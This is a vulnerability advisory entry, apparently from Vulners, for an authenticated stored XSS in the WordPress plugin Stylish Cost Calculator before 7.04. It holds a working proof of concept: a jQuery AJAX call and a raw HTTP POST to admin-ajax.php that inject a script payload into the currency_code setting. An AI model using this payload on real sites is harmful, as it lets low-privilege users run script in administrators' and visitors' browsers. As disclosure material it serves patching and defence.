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Stylish Cost Calculator < 7.04 - Subscriber+ Unauthorised AJAX Calls to Stored XSS

🗓️ 01 Nov 2021 00:00:00Reported by apple502jType 
wpexploit
 wpexploit
👁 573 Views

Stylish Cost Calculator < 7.04 - Subscriber+ Unauthorised AJAX Calls to Stored XS

Related
Code
As a subscriber:

jQuery.post(ajaxurl,{
action:"sccSaveSettings",
// This can XSS any page that uses the plugin's shortcode
currency_code:"EUR</script><script>alert(/XSS/)</script>",
currency_text:"Euro",
currency_style:"default"})


POST /wp-admin/admin-ajax.php HTTP/1.1
Accept: */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 136
Connection: close
Cookie: [any authenticated user]

action=sccSaveSettings&currency_code=EUR%3C%2Fscript%3E%3Cscript%3Ealert(/XSS/)%3C%2Fscript%3E&currency_text=Euro&currency_style=default


The XSS will be triggered when an admin will create/edit a Calculator, or when any user view a calculator embed in a page

Data

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01 Nov 2021 07:01Current
5.2Medium risk
Vulners AI Score5.2
CVSS 23.5
CVSS 3.15.4
EPSS0.00307
573